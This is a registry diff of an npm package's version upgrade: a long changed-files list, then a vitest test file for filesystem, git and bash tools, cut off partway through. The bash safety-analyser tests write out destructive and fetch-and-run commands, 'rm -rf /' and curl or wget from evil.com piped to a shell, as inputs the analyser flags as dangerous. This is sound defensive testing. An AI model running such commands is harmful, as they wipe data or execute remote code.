digital-tools 2.1.3 → 2.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (294) hide show
  1. package/.turbo/turbo-build.log +1 -1
  2. package/CHANGELOG.md +19 -0
  3. package/README.md +2 -0
  4. package/dist/client.d.ts +109 -0
  5. package/dist/client.d.ts.map +1 -0
  6. package/dist/client.js +69 -0
  7. package/dist/client.js.map +1 -0
  8. package/dist/define.d.ts +2 -2
  9. package/dist/define.d.ts.map +1 -1
  10. package/dist/define.js +21 -11
  11. package/dist/define.js.map +1 -1
  12. package/dist/function-ref.d.ts +229 -0
  13. package/dist/function-ref.d.ts.map +1 -0
  14. package/dist/function-ref.js +28 -0
  15. package/dist/function-ref.js.map +1 -0
  16. package/dist/function-sugar.d.ts +57 -0
  17. package/dist/function-sugar.d.ts.map +1 -0
  18. package/dist/function-sugar.js +79 -0
  19. package/dist/function-sugar.js.map +1 -0
  20. package/dist/index.d.ts +10 -3
  21. package/dist/index.d.ts.map +1 -1
  22. package/dist/index.js +24 -4
  23. package/dist/index.js.map +1 -1
  24. package/dist/providers/analytics/mixpanel.d.ts.map +1 -1
  25. package/dist/providers/analytics/mixpanel.js +21 -18
  26. package/dist/providers/analytics/mixpanel.js.map +1 -1
  27. package/dist/providers/calendar/cal-com.d.ts.map +1 -1
  28. package/dist/providers/calendar/cal-com.js +10 -10
  29. package/dist/providers/calendar/cal-com.js.map +1 -1
  30. package/dist/providers/calendar/google-calendar.d.ts.map +1 -1
  31. package/dist/providers/calendar/google-calendar.js +4 -4
  32. package/dist/providers/calendar/google-calendar.js.map +1 -1
  33. package/dist/providers/crm/hubspot.d.ts.map +1 -1
  34. package/dist/providers/crm/hubspot.js +107 -85
  35. package/dist/providers/crm/hubspot.js.map +1 -1
  36. package/dist/providers/development/github.d.ts.map +1 -1
  37. package/dist/providers/development/github.js +40 -43
  38. package/dist/providers/development/github.js.map +1 -1
  39. package/dist/providers/ecommerce/shopify.d.ts.map +1 -1
  40. package/dist/providers/ecommerce/shopify.js +79 -62
  41. package/dist/providers/ecommerce/shopify.js.map +1 -1
  42. package/dist/providers/email/resend.d.ts.map +1 -1
  43. package/dist/providers/email/resend.js +20 -16
  44. package/dist/providers/email/resend.js.map +1 -1
  45. package/dist/providers/email/sendgrid.d.ts.map +1 -1
  46. package/dist/providers/email/sendgrid.js +12 -9
  47. package/dist/providers/email/sendgrid.js.map +1 -1
  48. package/dist/providers/finance/stripe.d.ts.map +1 -1
  49. package/dist/providers/finance/stripe.js +44 -42
  50. package/dist/providers/finance/stripe.js.map +1 -1
  51. package/dist/providers/forms/typeform.d.ts.map +1 -1
  52. package/dist/providers/forms/typeform.js +68 -58
  53. package/dist/providers/forms/typeform.js.map +1 -1
  54. package/dist/providers/knowledge/notion.d.ts.map +1 -1
  55. package/dist/providers/knowledge/notion.js +75 -41
  56. package/dist/providers/knowledge/notion.js.map +1 -1
  57. package/dist/providers/marketing/mailchimp.d.ts.map +1 -1
  58. package/dist/providers/marketing/mailchimp.js +74 -61
  59. package/dist/providers/marketing/mailchimp.js.map +1 -1
  60. package/dist/providers/media/cloudinary.d.ts.map +1 -1
  61. package/dist/providers/media/cloudinary.js +30 -28
  62. package/dist/providers/media/cloudinary.js.map +1 -1
  63. package/dist/providers/messaging/slack.d.ts.map +1 -1
  64. package/dist/providers/messaging/slack.js +75 -58
  65. package/dist/providers/messaging/slack.js.map +1 -1
  66. package/dist/providers/messaging/twilio-sms.d.ts.map +1 -1
  67. package/dist/providers/messaging/twilio-sms.js +33 -15
  68. package/dist/providers/messaging/twilio-sms.js.map +1 -1
  69. package/dist/providers/project-management/linear.d.ts.map +1 -1
  70. package/dist/providers/project-management/linear.js +31 -27
  71. package/dist/providers/project-management/linear.js.map +1 -1
  72. package/dist/providers/spreadsheet/google-sheets.d.ts.map +1 -1
  73. package/dist/providers/spreadsheet/google-sheets.js +21 -18
  74. package/dist/providers/spreadsheet/google-sheets.js.map +1 -1
  75. package/dist/providers/spreadsheet/xlsx.d.ts.map +1 -1
  76. package/dist/providers/spreadsheet/xlsx.js +4 -4
  77. package/dist/providers/spreadsheet/xlsx.js.map +1 -1
  78. package/dist/providers/storage/index.js +1 -0
  79. package/dist/providers/storage/index.js.map +1 -1
  80. package/dist/providers/storage/s3.d.ts.map +1 -1
  81. package/dist/providers/storage/s3.js +36 -27
  82. package/dist/providers/storage/s3.js.map +1 -1
  83. package/dist/providers/support/zendesk.d.ts.map +1 -1
  84. package/dist/providers/support/zendesk.js +24 -25
  85. package/dist/providers/support/zendesk.js.map +1 -1
  86. package/dist/providers/tasks/todoist.d.ts.map +1 -1
  87. package/dist/providers/tasks/todoist.js +18 -18
  88. package/dist/providers/tasks/todoist.js.map +1 -1
  89. package/dist/providers/video-conferencing/google-meet.d.ts.map +1 -1
  90. package/dist/providers/video-conferencing/google-meet.js +11 -11
  91. package/dist/providers/video-conferencing/google-meet.js.map +1 -1
  92. package/dist/providers/video-conferencing/jitsi.js +14 -14
  93. package/dist/providers/video-conferencing/jitsi.js.map +1 -1
  94. package/dist/providers/video-conferencing/teams.d.ts.map +1 -1
  95. package/dist/providers/video-conferencing/teams.js +9 -7
  96. package/dist/providers/video-conferencing/teams.js.map +1 -1
  97. package/dist/providers/video-conferencing/zoom.d.ts.map +1 -1
  98. package/dist/providers/video-conferencing/zoom.js +26 -24
  99. package/dist/providers/video-conferencing/zoom.js.map +1 -1
  100. package/dist/tools/data.d.ts.map +1 -1
  101. package/dist/tools/data.js +5 -12
  102. package/dist/tools/data.js.map +1 -1
  103. package/dist/tools/index.d.ts +1 -0
  104. package/dist/tools/index.d.ts.map +1 -1
  105. package/dist/tools/index.js +1 -0
  106. package/dist/tools/index.js.map +1 -1
  107. package/dist/tools/system.d.ts +289 -0
  108. package/dist/tools/system.d.ts.map +1 -0
  109. package/dist/tools/system.js +752 -0
  110. package/dist/tools/system.js.map +1 -0
  111. package/dist/tools/web.d.ts.map +1 -1
  112. package/dist/tools/web.js +22 -10
  113. package/dist/tools/web.js.map +1 -1
  114. package/dist/track-record.d.ts +101 -0
  115. package/dist/track-record.d.ts.map +1 -0
  116. package/dist/track-record.js +17 -0
  117. package/dist/track-record.js.map +1 -0
  118. package/dist/types.d.ts +210 -9
  119. package/dist/types.d.ts.map +1 -1
  120. package/dist/verb-registration.d.ts +122 -0
  121. package/dist/verb-registration.d.ts.map +1 -0
  122. package/dist/verb-registration.js +176 -0
  123. package/dist/verb-registration.js.map +1 -0
  124. package/dist/worker.d.ts +93 -0
  125. package/dist/worker.d.ts.map +1 -0
  126. package/dist/worker.js +315 -0
  127. package/dist/worker.js.map +1 -0
  128. package/dist/wrap.d.ts +89 -0
  129. package/dist/wrap.d.ts.map +1 -0
  130. package/dist/wrap.js +225 -0
  131. package/dist/wrap.js.map +1 -0
  132. package/package.json +31 -14
  133. package/src/client.ts +136 -0
  134. package/src/define.ts +30 -24
  135. package/src/function-ref.ts +264 -0
  136. package/src/function-sugar.ts +134 -0
  137. package/src/index.ts +132 -10
  138. package/src/providers/analytics/mixpanel.ts +19 -18
  139. package/src/providers/calendar/cal-com.ts +29 -18
  140. package/src/providers/calendar/google-calendar.ts +20 -14
  141. package/src/providers/crm/hubspot.ts +225 -99
  142. package/src/providers/development/github.ts +206 -135
  143. package/src/providers/ecommerce/shopify.ts +250 -89
  144. package/src/providers/email/resend.ts +101 -28
  145. package/src/providers/email/sendgrid.ts +12 -9
  146. package/src/providers/finance/stripe.ts +128 -49
  147. package/src/providers/forms/typeform.ts +74 -58
  148. package/src/providers/knowledge/notion.ts +340 -88
  149. package/src/providers/marketing/mailchimp.ts +86 -70
  150. package/src/providers/media/cloudinary.ts +99 -41
  151. package/src/providers/messaging/slack.ts +283 -85
  152. package/src/providers/messaging/twilio-sms.ts +35 -15
  153. package/src/providers/project-management/linear.ts +143 -55
  154. package/src/providers/spreadsheet/google-sheets.ts +222 -56
  155. package/src/providers/spreadsheet/xlsx.ts +47 -16
  156. package/src/providers/storage/s3.ts +119 -47
  157. package/src/providers/support/zendesk.ts +196 -46
  158. package/src/providers/tasks/todoist.ts +20 -26
  159. package/src/providers/video-conferencing/google-meet.ts +17 -20
  160. package/src/providers/video-conferencing/jitsi.ts +14 -14
  161. package/src/providers/video-conferencing/teams.ts +14 -13
  162. package/src/providers/video-conferencing/zoom.ts +54 -49
  163. package/src/tools/data.ts +6 -16
  164. package/src/tools/index.ts +1 -0
  165. package/src/tools/system.ts +887 -0
  166. package/src/tools/web.ts +22 -10
  167. package/src/track-record.ts +106 -0
  168. package/src/types.ts +241 -13
  169. package/src/verb-registration.ts +197 -0
  170. package/src/worker.ts +370 -0
  171. package/src/wrap.ts +260 -0
  172. package/test/client.test.ts +146 -0
  173. package/test/communication-tools-extended.test.ts +734 -0
  174. package/test/data-tools-extended.test.ts +743 -0
  175. package/test/define-extended.test.ts +819 -0
  176. package/test/define.test.ts +150 -41
  177. package/test/entities.test.ts +623 -0
  178. package/test/extended-entities.test.ts +1228 -0
  179. package/test/provider-implementations.test.ts +725 -0
  180. package/test/provider-registry-extended.test.ts +583 -0
  181. package/test/providers/google-sheets.test.ts +851 -0
  182. package/test/providers/helpers.ts +554 -0
  183. package/test/providers/hubspot.test.ts +576 -0
  184. package/test/providers/slack.test.ts +932 -0
  185. package/test/providers/stripe.test.ts +701 -0
  186. package/test/providers.test.ts +578 -0
  187. package/test/system-tools-extended.test.ts +632 -0
  188. package/test/system.test.ts +673 -0
  189. package/test/tools.test.ts +15 -11
  190. package/test/types.test.ts +402 -0
  191. package/test/verb-registration.test.ts +395 -0
  192. package/test/web-tools.test.ts +553 -0
  193. package/test/worker-extended.test.ts +699 -0
  194. package/test/worker.test.ts +576 -0
  195. package/test/wrap.test.ts +366 -0
  196. package/tsconfig.json +3 -13
  197. package/vitest.config.ts +37 -0
  198. package/wrangler.jsonc +9 -0
  199. package/LICENSE +0 -21
  200. package/dist/providers/voice/vapi.d.ts +0 -27
  201. package/dist/providers/voice/vapi.d.ts.map +0 -1
  202. package/dist/providers/voice/vapi.js +0 -440
  203. package/dist/providers/voice/vapi.js.map +0 -1
  204. package/src/define.js +0 -259
  205. package/src/entities/advertising.js +0 -999
  206. package/src/entities/ai.js +0 -756
  207. package/src/entities/analytics.js +0 -1588
  208. package/src/entities/automation.js +0 -601
  209. package/src/entities/communication.js +0 -1150
  210. package/src/entities/crm.js +0 -1386
  211. package/src/entities/design.js +0 -546
  212. package/src/entities/development.js +0 -2212
  213. package/src/entities/document.js +0 -874
  214. package/src/entities/ecommerce.js +0 -1429
  215. package/src/entities/experiment.js +0 -1039
  216. package/src/entities/finance.js +0 -3478
  217. package/src/entities/forms.js +0 -1892
  218. package/src/entities/hr.js +0 -661
  219. package/src/entities/identity.js +0 -997
  220. package/src/entities/index.js +0 -282
  221. package/src/entities/infrastructure.js +0 -1153
  222. package/src/entities/knowledge.js +0 -1438
  223. package/src/entities/marketing.js +0 -1610
  224. package/src/entities/media.js +0 -1634
  225. package/src/entities/notification.js +0 -1199
  226. package/src/entities/presentation.js +0 -1274
  227. package/src/entities/productivity.js +0 -1317
  228. package/src/entities/project-management.js +0 -1136
  229. package/src/entities/recruiting.js +0 -736
  230. package/src/entities/shipping.js +0 -509
  231. package/src/entities/signature.js +0 -1102
  232. package/src/entities/site.js +0 -222
  233. package/src/entities/spreadsheet.js +0 -1341
  234. package/src/entities/storage.js +0 -1198
  235. package/src/entities/support.js +0 -1166
  236. package/src/entities/video-conferencing.js +0 -1750
  237. package/src/entities/video.js +0 -950
  238. package/src/entities.js +0 -1663
  239. package/src/index.js +0 -74
  240. package/src/providers/analytics/index.js +0 -17
  241. package/src/providers/analytics/mixpanel.js +0 -255
  242. package/src/providers/calendar/cal-com.js +0 -303
  243. package/src/providers/calendar/google-calendar.js +0 -335
  244. package/src/providers/calendar/index.js +0 -20
  245. package/src/providers/crm/hubspot.js +0 -566
  246. package/src/providers/crm/index.js +0 -17
  247. package/src/providers/development/github.js +0 -472
  248. package/src/providers/development/index.js +0 -17
  249. package/src/providers/ecommerce/index.js +0 -17
  250. package/src/providers/ecommerce/shopify.js +0 -378
  251. package/src/providers/email/index.js +0 -20
  252. package/src/providers/email/resend.js +0 -258
  253. package/src/providers/email/sendgrid.js +0 -161
  254. package/src/providers/finance/index.js +0 -17
  255. package/src/providers/finance/stripe.js +0 -549
  256. package/src/providers/forms/index.js +0 -17
  257. package/src/providers/forms/typeform.js +0 -500
  258. package/src/providers/index.js +0 -123
  259. package/src/providers/knowledge/index.js +0 -17
  260. package/src/providers/knowledge/notion.js +0 -389
  261. package/src/providers/marketing/index.js +0 -17
  262. package/src/providers/marketing/mailchimp.js +0 -443
  263. package/src/providers/media/cloudinary.js +0 -318
  264. package/src/providers/media/index.js +0 -17
  265. package/src/providers/messaging/index.js +0 -20
  266. package/src/providers/messaging/slack.js +0 -393
  267. package/src/providers/messaging/twilio-sms.js +0 -249
  268. package/src/providers/project-management/index.js +0 -17
  269. package/src/providers/project-management/linear.js +0 -575
  270. package/src/providers/registry.js +0 -86
  271. package/src/providers/spreadsheet/google-sheets.js +0 -375
  272. package/src/providers/spreadsheet/index.js +0 -20
  273. package/src/providers/spreadsheet/xlsx.js +0 -423
  274. package/src/providers/storage/index.js +0 -24
  275. package/src/providers/storage/s3.js +0 -419
  276. package/src/providers/support/index.js +0 -17
  277. package/src/providers/support/zendesk.js +0 -373
  278. package/src/providers/tasks/index.js +0 -17
  279. package/src/providers/tasks/todoist.js +0 -286
  280. package/src/providers/types.js +0 -9
  281. package/src/providers/video-conferencing/google-meet.js +0 -286
  282. package/src/providers/video-conferencing/index.js +0 -31
  283. package/src/providers/video-conferencing/jitsi.js +0 -254
  284. package/src/providers/video-conferencing/teams.js +0 -270
  285. package/src/providers/video-conferencing/zoom.js +0 -332
  286. package/src/registry.js +0 -128
  287. package/src/tools/communication.js +0 -184
  288. package/src/tools/data.js +0 -205
  289. package/src/tools/index.js +0 -11
  290. package/src/tools/web.js +0 -137
  291. package/src/types.js +0 -10
  292. package/test/define.test.js +0 -306
  293. package/test/registry.test.js +0 -357
  294. package/test/tools.test.js +0 -363
@@ -0,0 +1,632 @@
1
+ /**
2
+ * Extended Tests for System Tools
3
+ *
4
+ * Additional comprehensive tests for filesystem, git, and bash tools.
5
+ */
6
+
7
+ import { describe, it, expect, beforeEach } from 'vitest'
8
+ // Import directly from the source file to ensure proper resolution
9
+ import {
10
+ // Filesystem tools
11
+ fsRead,
12
+ fsWrite,
13
+ fsList,
14
+ fsDelete,
15
+ fsGlob,
16
+ fsGrep,
17
+ fsxTools,
18
+
19
+ // Git tools
20
+ gitInit,
21
+ gitClone,
22
+ gitStatus,
23
+ gitAdd,
24
+ gitCommit,
25
+ gitLog,
26
+ gitDiff,
27
+ gitCheckout,
28
+ gitPush,
29
+ gitPull,
30
+ gitxTools,
31
+
32
+ // Bash tools
33
+ bashExec,
34
+ bashAnalyze,
35
+ bashScript,
36
+ bashEnv,
37
+ bashxTools,
38
+
39
+ // Combined
40
+ systemTools,
41
+ } from '../src/tools/system.js'
42
+
43
+ import { registry } from '../src/index.js'
44
+
45
+ describe('Filesystem Tools Extended', () => {
46
+ describe('fsRead - parameter validation', () => {
47
+ it('requires path parameter', () => {
48
+ const pathParam = fsRead.parameters.find((p) => p.name === 'path')
49
+ expect(pathParam?.required).toBe(true)
50
+ })
51
+
52
+ it('has optional encoding parameter', () => {
53
+ const encodingParam = fsRead.parameters.find((p) => p.name === 'encoding')
54
+ expect(encodingParam?.required).toBe(false)
55
+ })
56
+
57
+ it('has 2 parameters', () => {
58
+ expect(fsRead.parameters).toHaveLength(2)
59
+ })
60
+ })
61
+
62
+ describe('fsRead - handler behavior', () => {
63
+ it('returns utf-8 encoding by default', async () => {
64
+ const result = await fsRead.handler({ path: '/test/file.txt' })
65
+ expect(result.encoding).toBe('utf-8')
66
+ })
67
+
68
+ it('returns specified encoding', async () => {
69
+ const result = await fsRead.handler({ path: '/test/file.txt', encoding: 'base64' })
70
+ expect(result.encoding).toBe('base64')
71
+ })
72
+
73
+ it('returns content string', async () => {
74
+ const result = await fsRead.handler({ path: '/test/file.txt' })
75
+ expect(typeof result.content).toBe('string')
76
+ })
77
+
78
+ it('returns size number', async () => {
79
+ const result = await fsRead.handler({ path: '/test/file.txt' })
80
+ expect(typeof result.size).toBe('number')
81
+ })
82
+ })
83
+
84
+ describe('fsWrite - handler behavior', () => {
85
+ it('returns success on write', async () => {
86
+ const result = await fsWrite.handler({
87
+ path: '/test/output.txt',
88
+ content: 'Test content',
89
+ })
90
+ expect(result.success).toBe(true)
91
+ })
92
+
93
+ it('returns path in result', async () => {
94
+ const result = await fsWrite.handler({
95
+ path: '/test/output.txt',
96
+ content: 'Test',
97
+ })
98
+ expect(result.path).toBe('/test/output.txt')
99
+ })
100
+
101
+ it('returns size based on content length', async () => {
102
+ const content = 'Hello World'
103
+ const result = await fsWrite.handler({
104
+ path: '/test/file.txt',
105
+ content,
106
+ })
107
+ expect(result.size).toBe(content.length)
108
+ })
109
+ })
110
+
111
+ describe('fsList - handler behavior', () => {
112
+ it('returns entries array', async () => {
113
+ const result = await fsList.handler({ path: '/test' })
114
+ expect(Array.isArray(result.entries)).toBe(true)
115
+ })
116
+
117
+ it('returns count', async () => {
118
+ const result = await fsList.handler({ path: '/test' })
119
+ expect(typeof result.count).toBe('number')
120
+ })
121
+ })
122
+
123
+ describe('fsDelete - security', () => {
124
+ it('requires confirmation', () => {
125
+ expect(fsDelete.requiresConfirmation).toBe(true)
126
+ })
127
+
128
+ it('has write permission', () => {
129
+ expect(fsDelete.permissions?.[0]?.type).toBe('write')
130
+ })
131
+
132
+ it('returns success structure', async () => {
133
+ const result = await fsDelete.handler({ path: '/test/file.txt' })
134
+ expect(result.success).toBe(true)
135
+ expect(result.deleted).toBe(1)
136
+ })
137
+ })
138
+
139
+ describe('fsGlob - handler behavior', () => {
140
+ it('returns matches array', async () => {
141
+ const result = await fsGlob.handler({ pattern: '**/*.ts' })
142
+ expect(Array.isArray(result.matches)).toBe(true)
143
+ })
144
+
145
+ it('returns count', async () => {
146
+ const result = await fsGlob.handler({ pattern: '*.js' })
147
+ expect(typeof result.count).toBe('number')
148
+ })
149
+ })
150
+
151
+ describe('fsGrep - handler behavior', () => {
152
+ it('returns matches with file info', async () => {
153
+ const result = await fsGrep.handler({ pattern: 'TODO' })
154
+ expect(Array.isArray(result.matches)).toBe(true)
155
+ })
156
+
157
+ it('returns count', async () => {
158
+ const result = await fsGrep.handler({ pattern: 'FIXME' })
159
+ expect(typeof result.count).toBe('number')
160
+ })
161
+ })
162
+ })
163
+
164
+ describe('Git Tools Extended', () => {
165
+ describe('gitInit - handler behavior', () => {
166
+ it('returns success', async () => {
167
+ const result = await gitInit.handler({})
168
+ expect(result.success).toBe(true)
169
+ })
170
+
171
+ it('defaults path to current directory', async () => {
172
+ const result = await gitInit.handler({})
173
+ expect(result.path).toBe('.')
174
+ })
175
+
176
+ it('uses provided path', async () => {
177
+ const result = await gitInit.handler({ path: '/custom/path' })
178
+ expect(result.path).toBe('/custom/path')
179
+ })
180
+ })
181
+
182
+ describe('gitClone - handler behavior', () => {
183
+ it('returns success', async () => {
184
+ const result = await gitClone.handler({
185
+ url: 'https://github.com/test/repo',
186
+ })
187
+ expect(result.success).toBe(true)
188
+ })
189
+
190
+ it('defaults branch to main', async () => {
191
+ const result = await gitClone.handler({
192
+ url: 'https://github.com/test/repo',
193
+ })
194
+ expect(result.branch).toBe('main')
195
+ })
196
+
197
+ it('uses provided branch', async () => {
198
+ const result = await gitClone.handler({
199
+ url: 'https://github.com/test/repo',
200
+ branch: 'develop',
201
+ })
202
+ expect(result.branch).toBe('develop')
203
+ })
204
+
205
+ it('requires url parameter', () => {
206
+ const urlParam = gitClone.parameters.find((p) => p.name === 'url')
207
+ expect(urlParam?.required).toBe(true)
208
+ })
209
+ })
210
+
211
+ describe('gitStatus - comprehensive output', () => {
212
+ it('returns all status fields', async () => {
213
+ const result = await gitStatus.handler({})
214
+ expect(result).toHaveProperty('branch')
215
+ expect(result).toHaveProperty('clean')
216
+ expect(result).toHaveProperty('staged')
217
+ expect(result).toHaveProperty('modified')
218
+ expect(result).toHaveProperty('untracked')
219
+ expect(result).toHaveProperty('ahead')
220
+ expect(result).toHaveProperty('behind')
221
+ })
222
+
223
+ it('returns arrays for file lists', async () => {
224
+ const result = await gitStatus.handler({})
225
+ expect(Array.isArray(result.staged)).toBe(true)
226
+ expect(Array.isArray(result.modified)).toBe(true)
227
+ expect(Array.isArray(result.untracked)).toBe(true)
228
+ })
229
+
230
+ it('returns numbers for ahead/behind', async () => {
231
+ const result = await gitStatus.handler({})
232
+ expect(typeof result.ahead).toBe('number')
233
+ expect(typeof result.behind).toBe('number')
234
+ })
235
+ })
236
+
237
+ describe('gitAdd - handler behavior', () => {
238
+ it('returns success', async () => {
239
+ const result = await gitAdd.handler({ files: ['.'] })
240
+ expect(result.success).toBe(true)
241
+ })
242
+
243
+ it('returns staged files', async () => {
244
+ const files = ['file1.ts', 'file2.ts']
245
+ const result = await gitAdd.handler({ files })
246
+ expect(result.staged).toEqual(files)
247
+ })
248
+
249
+ it('requires files parameter', () => {
250
+ const filesParam = gitAdd.parameters.find((p) => p.name === 'files')
251
+ expect(filesParam?.required).toBe(true)
252
+ })
253
+ })
254
+
255
+ describe('gitCommit - handler behavior', () => {
256
+ it('returns success with sha', async () => {
257
+ const result = await gitCommit.handler({ message: 'Test commit' })
258
+ expect(result.success).toBe(true)
259
+ expect(result.sha).toBeDefined()
260
+ })
261
+
262
+ it('returns message', async () => {
263
+ const message = 'feat: add new feature'
264
+ const result = await gitCommit.handler({ message })
265
+ expect(result.message).toBe(message)
266
+ })
267
+
268
+ it('requires message parameter', () => {
269
+ const msgParam = gitCommit.parameters.find((p) => p.name === 'message')
270
+ expect(msgParam?.required).toBe(true)
271
+ })
272
+ })
273
+
274
+ describe('gitLog - handler behavior', () => {
275
+ it('returns commits array', async () => {
276
+ const result = await gitLog.handler({})
277
+ expect(result).toHaveProperty('commits')
278
+ expect(Array.isArray(result.commits)).toBe(true)
279
+ })
280
+ })
281
+
282
+ describe('gitDiff - handler behavior', () => {
283
+ it('returns diff string', async () => {
284
+ const result = await gitDiff.handler({})
285
+ expect(typeof result.diff).toBe('string')
286
+ })
287
+
288
+ it('returns statistics', async () => {
289
+ const result = await gitDiff.handler({})
290
+ expect(typeof result.additions).toBe('number')
291
+ expect(typeof result.deletions).toBe('number')
292
+ })
293
+
294
+ it('returns files array', async () => {
295
+ const result = await gitDiff.handler({})
296
+ expect(Array.isArray(result.files)).toBe(true)
297
+ })
298
+ })
299
+
300
+ describe('gitCheckout - handler behavior', () => {
301
+ it('returns success', async () => {
302
+ const result = await gitCheckout.handler({ ref: 'main' })
303
+ expect(result.success).toBe(true)
304
+ })
305
+
306
+ it('returns ref', async () => {
307
+ const result = await gitCheckout.handler({ ref: 'develop' })
308
+ expect(result.ref).toBe('develop')
309
+ })
310
+
311
+ it('requires ref parameter', () => {
312
+ const refParam = gitCheckout.parameters.find((p) => p.name === 'ref')
313
+ expect(refParam?.required).toBe(true)
314
+ })
315
+ })
316
+
317
+ describe('gitPush - security', () => {
318
+ it('requires confirmation', () => {
319
+ expect(gitPush.requiresConfirmation).toBe(true)
320
+ })
321
+
322
+ it('has write permission', () => {
323
+ expect(gitPush.permissions?.[0]?.type).toBe('write')
324
+ })
325
+
326
+ it('defaults remote to origin', async () => {
327
+ const result = await gitPush.handler({})
328
+ expect(result.remote).toBe('origin')
329
+ })
330
+ })
331
+
332
+ describe('gitPull - handler behavior', () => {
333
+ it('returns success', async () => {
334
+ const result = await gitPull.handler({})
335
+ expect(result.success).toBe(true)
336
+ })
337
+
338
+ it('returns conflict info', async () => {
339
+ const result = await gitPull.handler({})
340
+ expect(Array.isArray(result.conflicts)).toBe(true)
341
+ })
342
+ })
343
+ })
344
+
345
+ describe('Bash Tools Extended', () => {
346
+ describe('bashExec - security', () => {
347
+ it('requires confirmation', () => {
348
+ expect(bashExec.requiresConfirmation).toBe(true)
349
+ })
350
+
351
+ it('has restricted security level', () => {
352
+ expect(bashExec.securityLevel).toBe('restricted')
353
+ })
354
+
355
+ it('has execute permission on shell', () => {
356
+ expect(bashExec.permissions?.[0]?.type).toBe('execute')
357
+ expect(bashExec.permissions?.[0]?.resource).toBe('shell')
358
+ })
359
+ })
360
+
361
+ describe('bashExec - handler behavior', () => {
362
+ it('returns stdout', async () => {
363
+ const result = await bashExec.handler({ command: 'echo hello' })
364
+ expect(typeof result.stdout).toBe('string')
365
+ })
366
+
367
+ it('returns stderr', async () => {
368
+ const result = await bashExec.handler({ command: 'echo hello' })
369
+ expect(typeof result.stderr).toBe('string')
370
+ })
371
+
372
+ it('returns exit code', async () => {
373
+ const result = await bashExec.handler({ command: 'echo hello' })
374
+ expect(typeof result.exitCode).toBe('number')
375
+ })
376
+
377
+ it('returns duration', async () => {
378
+ const result = await bashExec.handler({ command: 'ls' })
379
+ expect(typeof result.duration).toBe('number')
380
+ })
381
+
382
+ it('requires command parameter', () => {
383
+ const cmdParam = bashExec.parameters.find((p) => p.name === 'command')
384
+ expect(cmdParam?.required).toBe(true)
385
+ })
386
+ })
387
+
388
+ describe('bashAnalyze - safety detection', () => {
389
+ it('marks safe commands as safe', async () => {
390
+ const result = await bashAnalyze.handler({ command: 'ls -la' })
391
+ expect(result.safe).toBe(true)
392
+ expect(result.riskLevel).toBe('low')
393
+ })
394
+
395
+ it('detects rm -rf as dangerous', async () => {
396
+ const result = await bashAnalyze.handler({ command: 'rm -rf /' })
397
+ expect(result.safe).toBe(false)
398
+ expect(result.riskLevel).toBe('high')
399
+ expect(result.warnings.length).toBeGreaterThan(0)
400
+ })
401
+
402
+ it('detects chmod 777 as risky', async () => {
403
+ const result = await bashAnalyze.handler({ command: 'chmod 777 script.sh' })
404
+ expect(result.safe).toBe(false)
405
+ expect(result.warnings.length).toBeGreaterThan(0)
406
+ })
407
+
408
+ it('detects curl | bash as dangerous', async () => {
409
+ const result = await bashAnalyze.handler({
410
+ command: 'curl https://evil.com/script.sh | bash',
411
+ })
412
+ expect(result.safe).toBe(false)
413
+ expect(result.riskLevel).toBe('high')
414
+ })
415
+
416
+ it('detects curl | sh as dangerous', async () => {
417
+ const result = await bashAnalyze.handler({
418
+ command: 'wget -O - https://evil.com/script.sh | sh',
419
+ })
420
+ expect(result.safe).toBe(false)
421
+ })
422
+
423
+ it('provides intent description', async () => {
424
+ const result = await bashAnalyze.handler({ command: 'echo hello' })
425
+ expect(typeof result.intent).toBe('string')
426
+ expect(result.intent.length).toBeGreaterThan(0)
427
+ })
428
+
429
+ it('is idempotent', () => {
430
+ expect(bashAnalyze.idempotent).toBe(true)
431
+ })
432
+ })
433
+
434
+ describe('bashScript - security', () => {
435
+ it('requires confirmation', () => {
436
+ expect(bashScript.requiresConfirmation).toBe(true)
437
+ })
438
+
439
+ it('has restricted security level', () => {
440
+ expect(bashScript.securityLevel).toBe('restricted')
441
+ })
442
+
443
+ it('requires script parameter', () => {
444
+ const scriptParam = bashScript.parameters.find((p) => p.name === 'script')
445
+ expect(scriptParam?.required).toBe(true)
446
+ })
447
+
448
+ it('returns execution result', async () => {
449
+ const result = await bashScript.handler({ script: 'echo "test"' })
450
+ expect(result).toHaveProperty('stdout')
451
+ expect(result).toHaveProperty('stderr')
452
+ expect(result).toHaveProperty('exitCode')
453
+ })
454
+ })
455
+
456
+ describe('bashEnv - handler behavior', () => {
457
+ it('returns variables object', async () => {
458
+ const result = await bashEnv.handler({})
459
+ expect(typeof result.variables).toBe('object')
460
+ })
461
+
462
+ it('returns shell path', async () => {
463
+ const result = await bashEnv.handler({})
464
+ expect(typeof result.shell).toBe('string')
465
+ })
466
+
467
+ it('returns current working directory', async () => {
468
+ const result = await bashEnv.handler({})
469
+ expect(typeof result.cwd).toBe('string')
470
+ })
471
+
472
+ it('returns user', async () => {
473
+ const result = await bashEnv.handler({})
474
+ expect(typeof result.user).toBe('string')
475
+ })
476
+
477
+ it('is idempotent', () => {
478
+ expect(bashEnv.idempotent).toBe(true)
479
+ })
480
+ })
481
+ })
482
+
483
+ describe('Tool Collections', () => {
484
+ describe('fsxTools', () => {
485
+ it('has 6 tools', () => {
486
+ expect(fsxTools).toHaveLength(6)
487
+ })
488
+
489
+ it('all tools have system category', () => {
490
+ expect(fsxTools.every((t) => t.category === 'system')).toBe(true)
491
+ })
492
+
493
+ it('all tools have filesystem subcategory', () => {
494
+ expect(fsxTools.every((t) => t.subcategory === 'filesystem')).toBe(true)
495
+ })
496
+
497
+ it('all tools have fsx tag', () => {
498
+ expect(fsxTools.every((t) => t.tags?.includes('fsx'))).toBe(true)
499
+ })
500
+ })
501
+
502
+ describe('gitxTools', () => {
503
+ it('has 10 tools', () => {
504
+ expect(gitxTools).toHaveLength(10)
505
+ })
506
+
507
+ it('all tools have development category', () => {
508
+ expect(gitxTools.every((t) => t.category === 'development')).toBe(true)
509
+ })
510
+
511
+ it('all tools have git subcategory', () => {
512
+ expect(gitxTools.every((t) => t.subcategory === 'git')).toBe(true)
513
+ })
514
+
515
+ it('all tools have gitx tag', () => {
516
+ expect(gitxTools.every((t) => t.tags?.includes('gitx'))).toBe(true)
517
+ })
518
+ })
519
+
520
+ describe('bashxTools', () => {
521
+ it('has 4 tools', () => {
522
+ expect(bashxTools).toHaveLength(4)
523
+ })
524
+
525
+ it('all tools have system category', () => {
526
+ expect(bashxTools.every((t) => t.category === 'system')).toBe(true)
527
+ })
528
+
529
+ it('all tools have shell subcategory', () => {
530
